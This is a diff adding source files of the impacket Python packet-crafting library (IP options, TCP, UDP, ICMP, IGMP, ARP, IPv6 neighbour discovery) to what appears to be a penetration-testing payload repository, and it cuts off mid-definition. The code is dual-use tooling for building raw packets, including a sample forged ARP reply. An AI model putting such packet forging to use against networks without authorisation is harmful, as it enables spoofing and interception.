size: + raise ImpactPacketException, "Size required for this type" + PacketBuffer.__init__(self,size) + self.set_code(opcode) + self.set_len(size) + + + def append_ip(self, ip): + op = self.get_code() + if not (op == IPOption.IPOPT_RR or op == IPOption.IPOPT_LSRR or op == IPOption.IPOPT_SSRR or op == IPOption.IPOPT_TS): + raise ImpactPacketException, "append_ip() not support for option type %d" % self.opt_type + + p = self.get_ptr() + if not p: + raise ImpactPacketException, "append_ip() failed, option ptr uninitialized" + + if (p + 4) > self.get_len(): + raise ImpactPacketException, "append_ip() would overflow option" + + self.set_ip_address(p - 1, ip) + p += 4 + self.set_ptr(p) + + + def set_code(self, value): + self.set_byte(0, value) + + def get_code(self): + return self.get_byte(0) + + + def set_flags(self, flags): + if not (self.get_code() == IPOption.IPOPT_TS): + raise ImpactPacketException, "Operation only supported on Timestamp option" + self.set_byte(3, flags) + + def get_flags(self, flags): + if not (self.get_code() == IPOption.IPOPT_TS): + raise ImpactPacketException, "Operation only supported on Timestamp option" + return self.get_byte(3) + + + def set_len(self, len): + self.set_byte(1, len) + + + def set_ptr(self, ptr): + self.set_byte(2, ptr) + + def get_ptr(self): + return self.get_byte(2) + + def get_len(self): + return len(self.get_bytes()) + + + def __str__(self): + map = {IPOption.IPOPT_EOL : "End of List ", + IPOption.IPOPT_NOP : "No Operation ", + IPOption.IPOPT_RR : "Record Route ", + IPOption.IPOPT_TS : "Timestamp ", + IPOption.IPOPT_LSRR : "Loose Source Route ", + IPOption.IPOPT_SSRR : "Strict Source Route "} + + tmp_str = "\tIP Option: " + op = self.get_code() + if map.has_key(op): + tmp_str += map[op] + else: + tmp_str += "Code: %d " % op + + if op == IPOption.IPOPT_RR or op == IPOption.IPOPT_LSRR or op ==IPOption.IPOPT_SSRR: + tmp_str += self.print_addresses() + + + return tmp_str + + + def print_addresses(self): + p = 3 + tmp_str = "[" + if self.get_len() >= 7: # at least one complete IP address + while 1: + if p + 1 == self.get_ptr(): + tmp_str += "#" + tmp_str += self.get_ip_address(p) + p += 4 + if p >= self.get_len(): + break + else: + tmp_str += ", " + tmp_str += "] " + if self.get_ptr() % 4: # ptr field should be a multiple of 4 + tmp_str += "nonsense ptr field: %d " % self.get_ptr() + return tmp_str + + +class UDP(Header): + protocol = 17 + def __init__(self, aBuffer = None): + Header.__init__(self, 8) + if(aBuffer): + self.load_header(aBuffer) + + def get_uh_sport(self): + return self.get_word(0) + def set_uh_sport(self, value): + self.set_word(0, value) + + def get_uh_dport(self): + return self.get_word(2) + def set_uh_dport(self, value): + self.set_word(2, value) + + def get_uh_ulen(self): + return self.get_word(4) + + def set_uh_ulen(self, value): + self.set_word(4, value) + + def get_uh_sum(self): + return self.get_word(6) + + def set_uh_sum(self, value): + self.set_word(6, value) + self.auto_checksum = 0 + + def calculate_checksum(self): + if self.auto_checksum and (not self.get_uh_sum()): + # if there isn't a parent to grab a pseudo-header from we'll assume the user knows what they're doing + # and won't meddle with the checksum or throw an exception + if not self.parent(): + return + + buffer = self.parent().get_pseudo_header() + + buffer += self.get_bytes() + data = self.get_data_as_string() + if(data): + buffer.fromstring(data) + self.set_uh_sum(self.compute_checksum(buffer)) + + def get_header_size(self): + return 8 + + def __str__(self): + tmp_str = 'UDP %d -> %d' % (self.get_uh_sport(), self.get_uh_dport()) + if self.child(): + tmp_str += '\n' + str(self.child()) + return tmp_str + + def get_packet(self): + # set total length + if(self.get_uh_ulen() == 0): + self.set_uh_ulen(self.get_size()) + return Header.get_packet(self) + +class TCP(Header): + protocol = 6 + TCP_FLAGS_MASK = 0x00FF # lowest 16 bits are the flags + def __init__(self, aBuffer = None): + Header.__init__(self, 20) + self.set_th_off(5) + self.__option_list = [] + if aBuffer: + self.load_header(aBuffer) + + def add_option(self, option): + self.__option_list.append(option) + + sum = 0 + for op in self.__option_list: + sum += op.get_size() + + if sum > 40: + raise ImpactPacketException, "Cannot add TCP option, would overflow option space" + + def get_options(self): + return self.__option_list + + def swapSourceAndDestination(self): + oldSource = self.get_th_sport() + self.set_th_sport(self.get_th_dport()) + self.set_th_dport(oldSource) + + # + # Header field accessors + # + + def set_th_sport(self, aValue): + self.set_word(0, aValue) + + def get_th_sport(self): + return self.get_word(0) + + def get_th_dport(self): + return self.get_word(2) + + def set_th_dport(self, aValue): + self.set_word(2, aValue) + + def get_th_seq(self): + return self.get_long(4) + + def set_th_seq(self, aValue): + self.set_long(4, aValue) + + def get_th_ack(self): + return self.get_long(8) + + def set_th_ack(self, aValue): + self.set_long(8, aValue) + + def get_th_flags(self): + return self.get_word(12) & self.TCP_FLAGS_MASK + + def set_th_flags(self, aValue): + masked = self.get_word(12) & (~self.TCP_FLAGS_MASK) + nb = masked | (aValue & self.TCP_FLAGS_MASK) + return self.set_word(12, nb, ">") + + def get_th_win(self): + return self.get_word(14) + + def set_th_win(self, aValue): + self.set_word(14, aValue) + + def set_th_sum(self, aValue): + self.set_word(16, aValue) + self.auto_checksum = 0 + + def get_th_sum(self): + return self.get_word(16) + + def get_th_urp(self): + return self.get_word(18) + + def set_th_urp(self, aValue): + return self.set_word(18, aValue) + + # Flag accessors + + def get_th_reserved(self): + tmp_value = self.get_byte(12) & 0x0f + return tmp_value + + + def get_th_off(self): + tmp_value = self.get_byte(12) >> 4 + return tmp_value + + def set_th_off(self, aValue): + mask = 0xF0 + masked = self.get_byte(12) & (~mask) + nb = masked | ( (aValue << 4) & mask) + return self.set_byte(12, nb) + + def get_CWR(self): + return self.get_flag(128) + def set_CWR(self): + return self.set_flags(128) + def reset_CWR(self): + return self.reset_flags(128) + + def get_ECE(self): + return self.get_flag(64) + def set_ECE(self): + return self.set_flags(64) + def reset_ECE(self): + return self.reset_flags(64) + + def get_URG(self): + return self.get_flag(32) + def set_URG(self): + return self.set_flags(32) + def reset_URG(self): + return self.reset_flags(32) + + def get_ACK(self): + return self.get_flag(16) + def set_ACK(self): + return self.set_flags(16) + def reset_ACK(self): + return self.reset_flags(16) + + def get_PSH(self): + return self.get_flag(8) + def set_PSH(self): + return self.set_flags(8) + def reset_PSH(self): + return self.reset_flags(8) + + def get_RST(self): + return self.get_flag(4) + def set_RST(self): + return self.set_flags(4) + def reset_RST(self): + return self.reset_flags(4) + + def get_SYN(self): + return self.get_flag(2) + def set_SYN(self): + return self.set_flags(2) + def reset_SYN(self): + return self.reset_flags(2) + + def get_FIN(self): + return self.get_flag(1) + def set_FIN(self): + return self.set_flags(1) + def reset_FIN(self): + return self.reset_flags(1) + + # Overridden Methods + + def get_header_size(self): + return 20 + len(self.get_padded_options()) + + def calculate_checksum(self): + if not self.auto_checksum or not self.parent(): + return + + self.set_th_sum(0) + buffer = self.parent().get_pseudo_header() + buffer += self.get_bytes() + buffer += self.get_padded_options() + + data = self.get_data_as_string() + if(data): + buffer.fromstring(data) + + res = self.compute_checksum(buffer) + + self.set_th_sum(self.compute_checksum(buffer)) + + def get_packet(self): + "Returns entire packet including child data as a string. This is the function used to extract the final packet" + + # only change th_off value if options are present + if len(self.__option_list): + self.set_th_off(self.get_header_size() / 4) + + self.calculate_checksum() + + bytes = self.get_bytes() + self.get_padded_options() + data = self.get_data_as_string() + + if data: + return bytes.tostring() + data + else: + return bytes.tostring() + + def load_header(self, aBuffer): + self.set_bytes_from_string(aBuffer[:20]) + opt_left = (self.get_th_off() - 5) * 4 + opt_bytes = array.array('B', aBuffer[20:(20 + opt_left)]) + if len(opt_bytes) != opt_left: + raise ImpactPacketException, "Cannot load options from truncated packet" + + while opt_left: + op_kind = opt_bytes[0] + if op_kind == TCPOption.TCPOPT_EOL or op_kind == TCPOption.TCPOPT_NOP: + new_option = TCPOption(op_kind) + op_len = 1 + else: + op_len = opt_bytes[1] + if op_len > len(opt_bytes): + raise ImpactPacketException, "TCP Option length is too high" + if op_len < 2: + raise ImpactPacketException, "TCP Option length is too low" + + new_option = TCPOption(op_kind) + new_option.set_bytes(opt_bytes[:op_len]) + + opt_bytes = opt_bytes[op_len:] + opt_left -= op_len + self.add_option(new_option) + if op_kind == TCPOption.TCPOPT_EOL: + break + + # + # Private + # + + def get_flag(self, bit): + if self.get_th_flags() & bit: + return 1 + else: + return 0 + + def reset_flags(self, aValue): + tmp_value = self.get_th_flags() & (~aValue) + return self.set_th_flags(tmp_value) + + def set_flags(self, aValue): + tmp_value = self.get_th_flags() | aValue + return self.set_th_flags(tmp_value) + + def get_padded_options(self): + "Return an array containing all options padded to a 4 byte boundry" + op_buf = array.array('B') + for op in self.__option_list: + op_buf += op.get_bytes() + num_pad = (4 - (len(op_buf) % 4)) % 4 + if num_pad: + op_buf.fromstring("\0" * num_pad) + return op_buf + + def __str__(self): + tmp_str = 'TCP ' + if self.get_ECE(): + tmp_str += 'ece ' + if self.get_CWR(): + tmp_str += 'cwr ' + if self.get_ACK(): + tmp_str += 'ack ' + if self.get_FIN(): + tmp_str += 'fin ' + if self.get_PSH(): + tmp_str += 'push ' + if self.get_RST(): + tmp_str += 'rst ' + if self.get_SYN(): + tmp_str += 'syn ' + if self.get_URG(): + tmp_str += 'urg ' + tmp_str += '%d -> %d' % (self.get_th_sport(), self.get_th_dport()) + for op in self.__option_list: + tmp_str += '\n' + str(op) + + if self.child(): + tmp_str += '\n' + str(self.child()) + return tmp_str + + +class TCPOption(PacketBuffer): + TCPOPT_EOL = 0 + TCPOPT_NOP = 1 + TCPOPT_MAXSEG = 2 + TCPOPT_WINDOW = 3 + TCPOPT_SACK_PERMITTED = 4 + TCPOPT_SACK = 5 + TCPOPT_TIMESTAMP = 8 + TCPOPT_SIGNATURE = 19 + + + def __init__(self, kind, data = None): + + if kind == TCPOption.TCPOPT_EOL: + PacketBuffer.__init__(self, 1) + self.set_kind(TCPOption.TCPOPT_EOL) + elif kind == TCPOption.TCPOPT_NOP: + PacketBuffer.__init__(self, 1) + self.set_kind(TCPOption.TCPOPT_NOP) + elif kind == TCPOption.TCPOPT_MAXSEG: + PacketBuffer.__init__(self, 4) + self.set_kind(TCPOption.TCPOPT_MAXSEG) + self.set_len(4) + if data: + self.set_mss(data) + else: + self.set_mss(512) + elif kind == TCPOption.TCPOPT_WINDOW: + PacketBuffer.__init__(self, 3) + self.set_kind(TCPOption.TCPOPT_WINDOW) + self.set_len(3) + if data: + self.set_shift_cnt(data) + else: + self.set_shift_cnt(0) + elif kind == TCPOption.TCPOPT_TIMESTAMP: + PacketBuffer.__init__(self, 10) + self.set_kind(TCPOption.TCPOPT_TIMESTAMP) + self.set_len(10) + if data: + self.set_ts(data) + else: + self.set_ts(0) + elif kind == TCPOption.TCPOPT_SACK_PERMITTED: + PacketBuffer.__init__(self, 2) + self.set_kind(TCPOption.TCPOPT_SACK_PERMITTED) + self.set_len(2) + + elif kind == TCPOption.TCPOPT_SACK: + PacketBuffer.__init__(self, 2) + self.set_kind(TCPOption.TCPOPT_SACK) + + def set_left_edge(self, aValue): + self.set_long (2, aValue) + + def set_right_edge(self, aValue): + self.set_long (6, aValue) + + def set_kind(self, kind): + self.set_byte(0, kind) + + + def get_kind(self): + return self.get_byte(0) + + + def set_len(self, len): + if self.get_size() < 2: + raise ImpactPacketException, "Cannot set length field on an option having a size smaller than 2 bytes" + self.set_byte(1, len) + + def get_len(self): + if self.get_size() < 2: + raise ImpactPacketException, "Cannot retrieve length field from an option having a size smaller than 2 bytes" + return self.get_byte(1) + + def get_size(self): + return len(self.get_bytes()) + + + def set_mss(self, len): + if self.get_kind() != TCPOption.TCPOPT_MAXSEG: + raise ImpactPacketException, "Can only set MSS on TCPOPT_MAXSEG option" + self.set_word(2, len) + + def get_mss(self): + if self.get_kind() != TCPOption.TCPOPT_MAXSEG: + raise ImpactPacketException, "Can only retrieve MSS from TCPOPT_MAXSEG option" + return self.get_word(2) + + def set_shift_cnt(self, cnt): + if self.get_kind() != TCPOption.TCPOPT_WINDOW: + raise ImpactPacketException, "Can only set Shift Count on TCPOPT_WINDOW option" + self.set_byte(2, cnt) + + def get_shift_cnt(self): + if self.get_kind() != TCPOption.TCPOPT_WINDOW: + raise ImpactPacketException, "Can only retrieve Shift Count from TCPOPT_WINDOW option" + return self.get_byte(2) + + def get_ts(self): + if self.get_kind() != TCPOption.TCPOPT_TIMESTAMP: + raise ImpactPacketException, "Can only retrieve timestamp from TCPOPT_TIMESTAMP option" + return self.get_long(2) + + def set_ts(self, ts): + if self.get_kind() != TCPOption.TCPOPT_TIMESTAMP: + raise ImpactPacketException, "Can only set timestamp on TCPOPT_TIMESTAMP option" + self.set_long(2, ts) + + def get_ts_echo(self): + if self.get_kind() != TCPOption.TCPOPT_TIMESTAMP: + raise ImpactPacketException, "Can only retrieve timestamp from TCPOPT_TIMESTAMP option" + return self.get_long(6) + + def set_ts_echo(self, ts): + if self.get_kind() != TCPOption.TCPOPT_TIMESTAMP: + raise ImpactPacketException, "Can only set timestamp on TCPOPT_TIMESTAMP option" + self.set_long(6, ts) + + def __str__(self): + map = { TCPOption.TCPOPT_EOL : "End of List ", + TCPOption.TCPOPT_NOP : "No Operation ", + TCPOption.TCPOPT_MAXSEG : "Maximum Segment Size ", + TCPOption.TCPOPT_WINDOW : "Window Scale ", + TCPOption.TCPOPT_TIMESTAMP : "Timestamp " } + + tmp_str = "\tTCP Option: " + op = self.get_kind() + if map.has_key(op): + tmp_str += map[op] + else: + tmp_str += " kind: %d " % op + if op == TCPOption.TCPOPT_MAXSEG: + tmp_str += " MSS : %d " % self.get_mss() + elif op == TCPOption.TCPOPT_WINDOW: + tmp_str += " Shift Count: %d " % self.get_shift_cnt() + elif op == TCPOption.TCPOPT_TIMESTAMP: + pass # TODO + return tmp_str + +class ICMP(Header): + protocol = 1 + ICMP_ECHOREPLY = 0 + ICMP_UNREACH = 3 + ICMP_UNREACH_NET = 0 + ICMP_UNREACH_HOST = 1 + ICMP_UNREACH_PROTOCOL = 2 + ICMP_UNREACH_PORT = 3 + ICMP_UNREACH_NEEDFRAG = 4 + ICMP_UNREACH_SRCFAIL = 5 + ICMP_UNREACH_NET_UNKNOWN = 6 + ICMP_UNREACH_HOST_UNKNOWN = 7 + ICMP_UNREACH_ISOLATED = 8 + ICMP_UNREACH_NET_PROHIB = 9 + ICMP_UNREACH_HOST_PROHIB = 10 + ICMP_UNREACH_TOSNET = 11 + ICMP_UNREACH_TOSHOST = 12 + ICMP_UNREACH_FILTERPROHIB = 13 + ICMP_UNREACH_HOST_PRECEDENCE = 14 + ICMP_UNREACH_PRECEDENCE_CUTOFF = 15 + ICMP_SOURCEQUENCH = 4 + ICMP_REDIRECT = 5 + ICMP_REDIRECT_NET = 0 + ICMP_REDIRECT_HOST = 1 + ICMP_REDIRECT_TOSNET = 2 + ICMP_REDIRECT_TOSHOST = 3 + ICMP_ALTHOSTADDR = 6 + ICMP_ECHO = 8 + ICMP_ROUTERADVERT = 9 + ICMP_ROUTERSOLICIT = 10 + ICMP_TIMXCEED = 11 + ICMP_TIMXCEED_INTRANS = 0 + ICMP_TIMXCEED_REASS = 1 + ICMP_PARAMPROB = 12 + ICMP_PARAMPROB_ERRATPTR = 0 + ICMP_PARAMPROB_OPTABSENT = 1 + ICMP_PARAMPROB_LENGTH = 2 + ICMP_TSTAMP = 13 + ICMP_TSTAMPREPLY = 14 + ICMP_IREQ = 15 + ICMP_IREQREPLY = 16 + ICMP_MASKREQ = 17 + ICMP_MASKREPLY = 18 + + def __init__(self, aBuffer = None): + Header.__init__(self, 8) + if aBuffer: + self.load_header(aBuffer) + + def get_header_size(self): + anamolies = { ICMP.ICMP_TSTAMP : 20, ICMP.ICMP_TSTAMPREPLY : 20, ICMP.ICMP_MASKREQ : 12, ICMP.ICMP_MASKREPLY : 12 } + if anamolies.has_key(self.get_icmp_type()): + return anamolies[self.get_icmp_type()] + else: + return 8 + + def get_icmp_type(self): + return self.get_byte(0) + + def set_icmp_type(self, aValue): + self.set_byte(0, aValue) + + def get_icmp_code(self): + return self.get_byte(1) + + def set_icmp_code(self, aValue): + self.set_byte(1, aValue) + + def get_icmp_cksum(self): + return self.get_word(2) + + def set_icmp_cksum(self, aValue): + self.set_word(2, aValue) + self.auto_checksum = 0 + + def get_icmp_gwaddr(self): + return self.get_ip_address(4) + + def set_icmp_gwaddr(self, ip): + self.set_ip_address(4, ip) + + def get_icmp_id(self): + return self.get_word(4) + + def set_icmp_id(self, aValue): + self.set_word(4, aValue) + + def get_icmp_seq(self): + return self.get_word(6) + + def set_icmp_seq(self, aValue): + self.set_word(6, aValue) + + def get_icmp_void(self): + return self.get_long(4) + + def set_icmp_void(self, aValue): + self.set_long(4, aValue) + + + def get_icmp_nextmtu(self): + return self.get_word(6) + + def set_icmp_nextmtu(self, aValue): + self.set_word(6, aValue) + + def get_icmp_num_addrs(self): + return self.get_byte(4) + + def set_icmp_num_addrs(self, aValue): + self.set_byte(4, aValue) + + def get_icmp_wpa(self): + return self.get_byte(5) + + def set_icmp_wpa(self, aValue): + self.set_byte(5, aValue) + + def get_icmp_lifetime(self): + return self.get_word(6) + + def set_icmp_lifetime(self, aValue): + self.set_word(6, aValue) + + def get_icmp_otime(self): + return self.get_long(8) + + def set_icmp_otime(self, aValue): + self.set_long(8, aValue) + + def get_icmp_rtime(self): + return self.get_long(12) + + def set_icmp_rtime(self, aValue): + self.set_long(12, aValue) + + def get_icmp_ttime(self): + return self.get_long(16) + + def set_icmp_ttime(self, aValue): + self.set_long(16, aValue) + + def get_icmp_mask(self): + return self.get_ip_address(8) + + def set_icmp_mask(self, mask): + self.set_ip_address(8, mask) + + + def calculate_checksum(self): + if self.auto_checksum and (not self.get_icmp_cksum()): + buffer = self.get_buffer_as_string() + data = self.get_data_as_string() + if data: + buffer += data + + tmp_array = array.array('B', buffer) + self.set_icmp_cksum(self.compute_checksum(tmp_array)) + + def get_type_name(self, aType): + tmp_type = {0:'ECHOREPLY', 3:'UNREACH', 4:'SOURCEQUENCH',5:'REDIRECT', 6:'ALTHOSTADDR', 8:'ECHO', 9:'ROUTERADVERT', 10:'ROUTERSOLICIT', 11:'TIMXCEED', 12:'PARAMPROB', 13:'TSTAMP', 14:'TSTAMPREPLY', 15:'IREQ', 16:'IREQREPLY', 17:'MASKREQ', 18:'MASKREPLY', 30:'TRACEROUTE', 31:'DATACONVERR', 32:'MOBILE REDIRECT', 33:'IPV6 WHEREAREYOU', 34:'IPV6 IAMHERE', 35:'MOBILE REGREQUEST', 36:'MOBILE REGREPLY', 39:'SKIP', 40:'PHOTURIS'} + answer = tmp_type.get(aType, 'UNKNOWN') + return answer + + def get_code_name(self, aType, aCode): + tmp_code = {3:['UNREACH NET', 'UNREACH HOST', 'UNREACH PROTOCOL', 'UNREACH PORT', 'UNREACH NEEDFRAG', 'UNREACH SRCFAIL', 'UNREACH NET UNKNOWN', 'UNREACH HOST UNKNOWN', 'UNREACH ISOLATED', 'UNREACH NET PROHIB', 'UNREACH HOST PROHIB', 'UNREACH TOSNET', 'UNREACH TOSHOST', 'UNREACH FILTER PROHIB', 'UNREACH HOST PRECEDENCE', 'UNREACH PRECEDENCE CUTOFF', 'UNKNOWN ICMP UNREACH']} + tmp_code[5] = ['REDIRECT NET', 'REDIRECT HOST', 'REDIRECT TOSNET', 'REDIRECT TOSHOST'] + tmp_code[9] = ['ROUTERADVERT NORMAL', None, None, None, None, None, None, None, None, None, None, None, None, None, None, None,'ROUTERADVERT NOROUTE COMMON'] + tmp_code[11] = ['TIMXCEED INTRANS ', 'TIMXCEED REASS'] + tmp_code[12] = ['PARAMPROB ERRATPTR ', 'PARAMPROB OPTABSENT', 'PARAMPROB LENGTH'] + tmp_code[40] = [None, 'PHOTURIS UNKNOWN INDEX', 'PHOTURIS AUTH FAILED', 'PHOTURIS DECRYPT FAILED'] + if tmp_code.has_key(aType): + tmp_list = tmp_code[aType] + if ((aCode + 1) > len(tmp_list)) or (not tmp_list[aCode]): + return 'UNKNOWN' + else: + return tmp_list[aCode] + else: + return 'UNKNOWN' + + def __str__(self): + tmp_type = self.get_icmp_type() + tmp_code = self.get_icmp_code() + tmp_str = 'ICMP type: ' + self.get_type_name(tmp_type) + tmp_str+= ' code: ' + self.get_code_name(tmp_type, tmp_code) + if self.child(): + tmp_str += '\n' + str( self.child() ) + return tmp_str + + def isDestinationUnreachable(self): + return self.get_icmp_type() == 3 + + def isError(self): + return not self.isQuery() + + def isHostUnreachable(self): + return self.isDestinationUnreachable() and (self.get_icmp_code() == 1) + + def isNetUnreachable(self): + return self.isDestinationUnreachable() and (self.get_icmp_code() == 0) + + def isPortUnreachable(self): + return self.isDestinationUnreachable() and (self.get_icmp_code() == 3) + + def isProtocolUnreachable(self): + return self.isDestinationUnreachable() and (self.get_icmp_code() == 2) + + def isQuery(self): + tmp_dict = {8:'', 9:'', 10:'', 13:'', 14:'', 15:'', 16:'', 17:'', 18:''} + return tmp_dict.has_key(self.get_icmp_type()) + +class IGMP(Header): + protocol = 2 + def __init__(self, aBuffer = None): + Header.__init__(self, 8) + if aBuffer: + self.load_header(aBuffer) + + def get_igmp_type(self): + return self.get_byte(0) + + def set_igmp_type(self, aValue): + self.set_byte(0, aValue) + + def get_igmp_code(self): + return self.get_byte(1) + + def set_igmp_code(self, aValue): + self.set_byte(1, aValue) + + def get_igmp_cksum(self): + return self.get_word(2) + + def set_igmp_cksum(self, aValue): + self.set_word(2, aValue) + + def get_igmp_group(self): + return self.get_long(4) + + def set_igmp_group(self, aValue): + self.set_long(4, aValue) + + def get_header_size(self): + return 8 + + def get_type_name(self, aType): + tmp_dict = {0x11:'HOST MEMBERSHIP QUERY ', 0x12:'v1 HOST MEMBERSHIP REPORT ', 0x13:'IGMP DVMRP ', 0x14:' PIM ', 0x16:'v2 HOST MEMBERSHIP REPORT ', 0x17:'HOST LEAVE MESSAGE ', 0x1e:'MTRACE REPLY ', 0X1f:'MTRACE QUERY '} + answer = tmp_dict.get(aType, 'UNKNOWN TYPE OR VERSION ') + return answer + + def calculate_checksum(self): + if self.auto_checksum and (not self.get_igmp_cksum()): + self.set_igmp_cksum(self.compute_checksum(self.get_bytes())) + + def __str__(self): + tmp_str = 'IGMP: ' + self.get_type_name(self.get_igmp_type()) + tmp_str += 'Group: ' + socket.inet_ntoa(struct.pack('!L',self.get_igmp_group())) + if self.child(): + tmp_str += '\n' + str(self.child()) + return tmp_str + + + +class ARP(Header): + ethertype = 0x806 + def __init__(self, aBuffer = None): + Header.__init__(self, 7) + if aBuffer: + self.load_header(aBuffer) + + def get_ar_hrd(self): + return self.get_word(0) + + def set_ar_hrd(self, aValue): + self.set_word(0, aValue) + + def get_ar_pro(self): + return self.get_word(2) + + def set_ar_pro(self, aValue): + self.set_word(2, aValue) + + def get_ar_hln(self): + return self.get_byte(4) + + def set_ar_hln(self, aValue): + self.set_byte(4, aValue) + + def get_ar_pln(self): + return self.get_byte(5) + + def set_ar_pln(self, aValue): + self.set_byte(5, aValue) + + def get_ar_op(self): + return self.get_word(6) + + def set_ar_op(self, aValue): + self.set_word(6, aValue) + + def get_ar_sha(self): + tmp_size = self.get_ar_hln() + return self.get_bytes().tolist()[8: 8 + tmp_size] + + def set_ar_sha(self, aValue): + for i in range(0, self.get_ar_hln()): + self.set_byte(i + 8, aValue[i]) + + def get_ar_spa(self): + tmp_size = self.get_ar_pln() + return self.get_bytes().tolist()[8 + self.get_ar_hln(): 8 + self.get_ar_hln() + tmp_size] + + def set_ar_spa(self, aValue): + for i in range(0, self.get_ar_pln()): + self.set_byte(i + 8 + self.get_ar_hln(), aValue[i]) + + def get_ar_tha(self): + tmp_size = self.get_ar_hln() + tmp_from = 8 + self.get_ar_hln() + self.get_ar_pln() + return self.get_bytes().tolist()[tmp_from: tmp_from + tmp_size] + + def set_ar_tha(self, aValue): + tmp_from = 8 + self.get_ar_hln() + self.get_ar_pln() + for i in range(0, self.get_ar_hln()): + self.set_byte(i + tmp_from, aValue[i]) + + def get_ar_tpa(self): + tmp_size = self.get_ar_pln() + tmp_from = 8 + ( 2 * self.get_ar_hln()) + self.get_ar_pln() + return self.get_bytes().tolist()[tmp_from: tmp_from + tmp_size] + + def set_ar_tpa(self, aValue): + tmp_from = 8 + (2 * self.get_ar_hln()) + self.get_ar_pln() + for i in range(0, self.get_ar_pln()): + self.set_byte(i + tmp_from, aValue[i]) + + def get_header_size(self): + return 8 + (2 * self.get_ar_hln()) + (2 * self.get_ar_pln()) + + def get_op_name(self, ar_op): + tmp_dict = {1:'REQUEST', 2:'REPLY', 3:'REVREQUEST', 4:'REVREPLY', 8:'INVREQUEST', 9:'INVREPLY'} + answer = tmp_dict.get(ar_op, 'UNKNOWN') + return answer + + def get_hrd_name(self, ar_hrd): + tmp_dict = { 1:'ARPHRD ETHER', 6:'ARPHRD IEEE802', 15:'ARPHRD FRELAY'} + answer = tmp_dict.get(ar_hrd, 'UNKNOWN') + return answer + + + def as_hrd(self, anArray): + if not anArray: + return '' + tmp_str = '%x' % anArray[0] + for i in range(1, len(anArray)): + tmp_str += ':%x' % anArray[i] + return tmp_str + + def as_pro(self, anArray): + if not anArray: + return '' + tmp_str = '%d' % anArray[0] + for i in range(1, len(anArray)): + tmp_str += '.%d' % anArray[i] + return tmp_str + + def __str__(self): + tmp_op = self.get_ar_op() + tmp_str = 'ARP format: ' + self.get_hrd_name(self.get_ar_hrd()) + ' ' + tmp_str += 'opcode: ' + self.get_op_name(tmp_op) + tmp_str += '\n' + self.as_hrd(self.get_ar_sha()) + ' -> ' + tmp_str += self.as_hrd(self.get_ar_tha()) + tmp_str += '\n' + self.as_pro(self.get_ar_spa()) + ' -> ' + tmp_str += self.as_pro(self.get_ar_tpa()) + if self.child(): + tmp_str += '\n' + str(self.child()) + return tmp_str + +def example(): #To execute an example, remove this line + a = Ethernet() + b = ARP() + c = Data('Hola loco!!!') + b.set_ar_hln(6) + b.set_ar_pln(4) + #a.set_ip_dst('192.168.22.6') + #a.set_ip_src('1.1.1.2') + a.contains(b) + b.contains(c) + b.set_ar_op(2) + b.set_ar_hrd(1) + b.set_ar_spa((192, 168, 22, 6)) + b.set_ar_tpa((192, 168, 66, 171)) + a.set_ether_shost((0x0, 0xe0, 0x7d, 0x8a, 0xef, 0x3d)) + a.set_ether_dhost((0x0, 0xc0, 0xdf, 0x6, 0x5, 0xe)) + print "beto %s" % a + diff --git a/payloads/library/tools_installer/tools_to_install/impacket/impacket/NDP.py b/payloads/library/tools_installer/tools_to_install/impacket/impacket/NDP.py new file mode 100644 index 0000000..6dc5328 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/impacket/NDP.py @@ -0,0 +1,166 @@ +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# + +import array +import struct + +from impacket import ImpactPacket +from ICMP6 import ICMP6 + + +class NDP(ICMP6): + #ICMP message type numbers + ROUTER_SOLICITATION = 133 + ROUTER_ADVERTISEMENT = 134 + NEIGHBOR_SOLICITATION = 135 + NEIGHBOR_ADVERTISEMENT = 136 + REDIRECT = 137 + +############################################################################ +# Append NDP Option helper + + def append_ndp_option(self, ndp_option): + #As NDP inherits ICMP6, it is, in fact an ICMP6 "header" + #The payload (where all NDP options should reside) is a child of the header + self.child().get_bytes().extend(ndp_option.get_bytes()) + + +############################################################################ + @classmethod + def Router_Solicitation(class_object): + message_data = struct.pack('>L', 0) #Reserved bytes + return class_object.__build_message(NDP.ROUTER_SOLICITATION, message_data) + + @classmethod + def Router_Advertisement(class_object, current_hop_limit, + managed_flag, other_flag, + router_lifetime, reachable_time, retransmission_timer): + flag_byte = 0x00 + if (managed_flag): + flag_byte |= 0x80 + if (other_flag): + flag_byte |= 0x40 + + message_data = struct.pack('>BBHLL', current_hop_limit, flag_byte, router_lifetime, reachable_time, retransmission_timer) + return class_object.__build_message(NDP.ROUTER_ADVERTISEMENT, message_data) + + @classmethod + def Neighbor_Solicitation(class_object, target_address): + message_data = struct.pack('>L', 0) #Reserved bytes + message_data += target_address.as_bytes().tostring() + return class_object.__build_message(NDP.NEIGHBOR_SOLICITATION, message_data) + + + @classmethod + def Neighbor_Advertisement(class_object, router_flag, solicited_flag, override_flag, target_address): + flag_byte = 0x00 + if (router_flag): + flag_byte |= 0x80 + if (solicited_flag): + flag_byte |= 0x40 + if (override_flag): + flag_byte |= 0x20 + + message_data = struct.pack('>BBBB', flag_byte, 0x00, 0x00, 0x00) #Flag byte and three reserved bytes + message_data += target_address.as_bytes().tostring() + return class_object.__build_message(NDP.NEIGHBOR_ADVERTISEMENT, message_data) + + + @classmethod + def Redirect(class_object, target_address, destination_address): + message_data = struct.pack('>L', 0)# Reserved bytes + message_data += target_address.as_bytes().tostring() + message_data += destination_address.as_bytes().tostring() + return class_object.__build_message(NDP.REDIRECT, message_data) + + + @classmethod + def __build_message(class_object, type, message_data): + #Build NDP header + ndp_packet = NDP() + ndp_packet.set_type(type) + ndp_packet.set_code(0) + + #Pack payload + ndp_payload = ImpactPacket.Data() + ndp_payload.set_data(message_data) + ndp_packet.contains(ndp_payload) + + return ndp_packet + + + + +class NDP_Option(): + #NDP Option Type numbers + SOURCE_LINK_LAYER_ADDRESS = 1 + TARGET_LINK_LAYER_ADDRESS = 2 + PREFIX_INFORMATION = 3 + REDIRECTED_HEADER = 4 + MTU_OPTION = 5 + +############################################################################ + @classmethod + #link_layer_address must have a size that is a multiple of 8 octets + def Source_Link_Layer_Address(class_object, link_layer_address): + return class_object.__Link_Layer_Address(NDP_Option.SOURCE_LINK_LAYER_ADDRESS, link_layer_address) + + @classmethod + #link_layer_address must have a size that is a multiple of 8 octets + def Target_Link_Layer_Address(class_object, link_layer_address): + return class_object.__Link_Layer_Address(NDP_Option.TARGET_LINK_LAYER_ADDRESS, link_layer_address) + + @classmethod + #link_layer_address must have a size that is a multiple of 8 octets + def 